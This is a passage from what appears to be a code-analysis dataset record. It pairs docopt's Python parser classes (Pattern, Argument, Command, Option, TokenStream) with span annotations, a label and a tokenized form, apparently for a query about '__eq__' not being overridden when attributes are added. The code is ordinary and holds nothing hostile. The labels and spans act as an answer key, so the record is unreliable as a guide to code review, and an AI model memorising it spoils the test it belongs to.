= s\n elif s.startswith('-'):\n short = s\n else:\n argcount = 1\n if argcount:\n matched = re.findall('\\[default: (.*)\\]', description, flags=re.I)\n value = matched[0] if matched else None\n return class_(short, long, argcount, value)", "metadata": "root.Option.parse", "header": "['class', 'Option', '(', 'Pattern', ')', ':', '___EOS___']", "index": 155 }, { "content": " def match(self, left, collected=None):\n collected = [] if collected is None else collected\n left_ = []\n for l in left:\n # if this is so greedy, how to handle OneOrMore then?\n if not (type(l) is Option and\n (self.short, self.long) == (l.short, l.long)):\n left_.append(l)\n return (left != left_), left_, collected", "metadata": "root.Option.match", "header": "['class', 'Option', '(', 'Pattern', ')', ':', '___EOS___']", "index": 172 }, { "content": " @property\n def name(self):\n return self.long or self.short", "metadata": "root.Option.name", "header": "['class', 'Option', '(', 'Pattern', ')', ':', '___EOS___']", "index": 182 }, { "content": " def __repr__(self):\n return 'Option(%r, %r, %r, %r)' % (self.short, self.long,\n self.argcount, self.value)", "metadata": "root.Option.__repr__", "header": "['class', 'Option', '(', 'Pattern', ')', ':', '___EOS___']", "index": 186 }, { "content": "class TokenStream(list):\n\n\n", "metadata": "root.TokenStream", "header": "['module', '___EOS___']", "index": 258 }, { "content": " def __init__(self, source, error):\n self += source.split() if type(source) is str else source\n self.error = error", "metadata": "root.TokenStream.__init__", "header": "['class', 'TokenStream', '(', 'list', ')', ':', '___EOS___']", "index": 260 }, { "content": " def move(self):\n return self.pop(0) if len(self) else None", "metadata": "root.TokenStream.move", "header": "['class', 'TokenStream', '(', 'list', ')', ':', '___EOS___']", "index": 264 }, { "content": " def current(self):\n return self[0] if len(self) else None", "metadata": "root.TokenStream.current", "header": "['class', 'TokenStream', '(', 'list', ')', ':', '___EOS___']", "index": 267 } ]
[ { "span": "class Argument(Pattern):", "start_line": 102, "start_column": 0, "end_line": 102, "end_column": 24 }, { "span": "class Command(Pattern):", "start_line": 129, "start_column": 0, "end_line": 129, "end_column": 23 }, { "span": "class Option(Pattern):", "start_line": 147, "start_column": 0, "end_line": 147, "end_column": 22 }, { "span": "class TokenStream(list):", "start_line": 258, "start_column": 0, "end_line": 258, "end_column": 24 } ]
[ { "span": "def __eq__(self, other):", "start_line": 25, "start_column": 4, "end_line": 25, "end_column": 28 }, { "span": "self.name ", "start_line": 105, "start_column": 8, "end_line": 105, "end_column": 17 }, { "span": "self.value ", "start_line": 106, "start_column": 8, "end_line": 106, "end_column": 18 }, { "span": "self.name ", "start_line": 132, "start_column": 8, "end_line": 132, "end_column": 17 }, { "span": "self.value ", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 18 }, { "span": "self.short,", "start_line": 151, "start_column": 8, "end_line": 151, "end_column": 18 }, { "span": "self.long ", "start_line": 151, "start_column": 20, "end_line": 151, "end_column": 29 }, { "span": "self.argcount,", "start_line": 152, "start_column": 8, "end_line": 152, "end_column": 21 }, { "span": "self.value ", "start_line": 152, "start_column": 23, "end_line": 152, "end_column": 33 }, { "span": "self.value ", "start_line": 153, "start_column": 8, "end_line": 153, "end_column": 18 }, { "span": "self.error ", "start_line": 262, "start_column": 8, "end_line": 262, "end_column": 18 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "children_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "children_", "=_", "list_", "(_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "repr_", "(_", "self_", ")_", "==_", "repr_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "hash\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hash_", "(_", "repr_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'%", "s", "(%", "s", ")'_", "%_", "(_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "',", " ", "'_", "._", "join_", "(_", "repr_", "(_", "a_", ")_", "for_", "a_", "in_", "self_", "._", "children_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "flat_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "self_", ",_", "'", "child", "ren", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "self_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sum_", "(_", "[_", "c_", "._", "flat_", "for_", "c_", "in_", "self_", "._", "children_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fix_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fix", "\\u", "identities", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fix", "\\u", "list", "\\u", "arguments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fix", "\\u", "identities", "_", "(_", "self_", ",_", "uniq", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Make", " ", "pattern", "-", "tree", " ", "tips", " ", "point", " ", "to", " ", "same", " ", "object", " ", "if", " ", "the", "y", " ", "are", " ", "equal", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "self_", ",_", "'", "child", "ren", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uniq", "_", "=_", "list_", "(_", "set_", "(_", "self_", "._", "flat_", ")_", ")_", "if_", "uniq", "_", "==_", "None_", "else_", "uniq", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "c_", "in_", "enumerate_", "(_", "self_", "._", "children_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "c_", ",_", "'", "child", "ren", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "c_", "in_", "uniq", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "children_", "[_", "i_", "]_", "=_", "uniq", "_", "[_", "uniq", "_", "._", "index_", "(_", "c_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "._", "fix", "\\u", "identities", "_", "(_", "uniq", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fix", "\\u", "list", "\\u", "arguments_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fin", "d", " ", "argu", "ment", "s", " ", "tha", "t", " ", "shou", "ld", " ", "accumulate", " ", "values", " ", "and", " ", "fix", " ", "them", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eit", "her_", "=_", "[_", "list_", "(_", "c_", "._", "children_", ")_", "for_", "c_", "in_", "self_", "._", "eit", "her_", "._", "children_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "case_", "in_", "eit", "her_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "case_", "=_", "[_", "c_", "for_", "c_", "in_", "case_", "if_", "case_", "._", "count_", "(_", "c_", ")_", ">_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "a_", "in_", "[_", "e_", "for_", "e_", "in_", "case_", "if_", "type_", "(_", "e_", ")_", "==_", "Argument_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "._", "value_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pattern_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "eit", "her_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Transform", " ", "pattern", " ", "int", "o", " ", "an", " ", "equivalent", ",", " ", "with", " ", "only", " ", "top", "-", "level", " ", "Ei", "ther", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Curr", "ent", "ly", " ", "the", " ", "pattern", " ", "will", " ", "not", " ", "be", " ", "equivalent", ",", " ", "but", " ", "more", " ", "\"", "narrow", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "alth", "ou", "gh", " ", "good", " ", "eno", "ugh", " ", "to", " ", "reason", " ", "abo", "ut", " ", "list", " ", "argu", "ment", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "self_", ",_", "'", "child", "ren", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Ei", "ther_", "(_", "Required_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "groups_", "=_", "[_", "[_", "self_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "children_", "=_", "groups_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "types_", "=_", "[_", "type_", "(_", "c_", ")_", "for_", "c_", "in_", "children_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Ei", "ther_", "in_", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "eit", "her_", "=_", "[_", "c_", "for_", "c_", "in_", "children_", "if_", "type_", "(_", "c_", ")_", "is_", "Ei", "ther_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "children_", "._", "pop_", "(_", "children_", "._", "index_", "(_", "eit", "her_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "eit", "her_", "._", "children_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "groups_", "._", "append_", "(_", "[_", "c_", "]_", "+_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "Required_", "in_", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "required_", "=_", "[_", "c_", "for_", "c_", "in_", "children_", "if_", "type_", "(_", "c_", ")_", "is_", "Required_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "children_", "._", "pop_", "(_", "children_", "._", "index_", "(_", "required_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "groups_", "._", "append_", "(_", "list_", "(_", "required_", "._", "children_", ")_", "+_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "Optional_", "in_", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "optional_", "=_", "[_", "c_", "for_", "c_", "in_", "children_", "if_", "type_", "(_", "c_", ")_", "is_", "Optional_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "children_", "._", "pop_", "(_", "children_", "._", "index_", "(_", "optional_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "groups_", "._", "append_", "(_", "list_", "(_", "optional_", "._", "children_", ")_", "+_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "One", "Or", "More_", "in_", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "one", "orm", "ore_", "=_", "[_", "c_", "for_", "c_", "in_", "children_", "if_", "type_", "(_", "c_", ")_", "is_", "One", "Or", "More_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "children_", "._", "pop_", "(_", "children_", "._", "index_", "(_", "one", "orm", "ore_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "groups_", "._", "append_", "(_", "list_", "(_", "one", "orm", "ore_", "._", "children_", ")_", "*_", "2_", "+_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ret_", "._", "append_", "(_", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Ei", "ther_", "(_", "*_", "[_", "Required_", "(_", "*_", "e_", ")_", "for_", "e_", "in_", "ret_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Argument_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Argument_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "value_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Argument_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "match_", "(_", "self_", ",_", "left_", ",_", "collected", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collected", "_", "=_", "[_", "]_", "if_", "collected", "_", "is_", "None_", "else_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "[_", "l_", "for_", "l_", "in_", "left_", "if_", "type_", "(_", "l_", ")_", "is_", "Argument_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "len_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", ",_", "left_", ",_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "left_", "._", "remove_", "(_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "self_", "._", "value_", ")_", "is_", "not_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", ",_", "left_", ",_", "collected", "_", "+_", "[_", "Argument_", "(_", "self_", "._", "name_", ",_", "args_", "[_", "0_", "]_", "._", "value_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "same", "\\u", "name_", "=_", "[_", "a_", "for_", "a_", "in_", "collected", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "type_", "(_", "a_", ")_", "is_", "Argument_", "and_", "a_", "._", "name_", "==_", "self_", "._", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "same", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "same", "\\u", "name_", "[_", "0_", "]_", "._", "value_", "+=_", "[_", "args_", "[_", "0_", "]_", "._", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", ",_", "left_", ",_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", ",_", "left_", ",_", "collected", "_", "+_", "[_", "Argument_", "(_", "self_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "args_", "[_", "0_", "]_", "._", "value_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Argument_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Arg", "ument", "(%", "r", ",", " ", "%", "r", ")'_", "%_", "(_", "self_", "._", "name_", ",_", "self_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Command_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Command_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "value_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Command_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "match_", "(_", "self_", ",_", "left_", ",_", "collected", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collected", "_", "=_", "[_", "]_", "if_", "collected", "_", "is_", "None_", "else_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "[_", "l_", "for_", "l_", "in_", "left_", "if_", "type_", "(_", "l_", ")_", "is_", "Argument_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "len_", "(_", "args_", ")_", "or_", "args_", "[_", "0_", "]_", "._", "value_", "!=_", "self_", "._", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", ",_", "left_", ",_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "left_", "._", "remove_", "(_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", ",_", "left_", ",_", "collected", "_", "+_", "[_", "Command_", "(_", "self_", "._", "name_", ",_", "True_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Command_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Command", "(%", "r", ",", " ", "%", "r", ")'_", "%_", "(_", "self_", "._", "name_", ",_", "self_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "short_", "=_", "None_", ",_", "long_", "=_", "None_", ",_", "argc", "ount_", "=_", "0_", ",_", "value_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "argc", "ount_", "in_", "(_", "0_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "short_", ",_", "self_", "._", "long_", "=_", "short_", ",_", "long_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "argc", "ount_", ",_", "self_", "._", "value_", "=_", "argc", "ount_", ",_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value_", "=_", "None_", "if_", "value_", "==_", "False_", "and_", "argc", "ount_", "else_", "value_", "#", " ", "HA", "CK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "parse_", "(_", "class\\u_", ",_", "option", "\\u", "description_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "short_", ",_", "long_", ",_", "argc", "ount_", ",_", "value_", "=_", "None_", ",_", "None_", ",_", "0_", ",_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", ",_", "\\u_", ",_", "description_", "=_", "option", "\\u", "description_", "._", "strip_", "(_", ")_", "._", "partition_", "(_", "'", " ", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "=_", "options_", "._", "replace_", "(_", "','_", ",_", "'", " ", "'_", ")_", "._", "replace_", "(_", "'='_", ",_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", 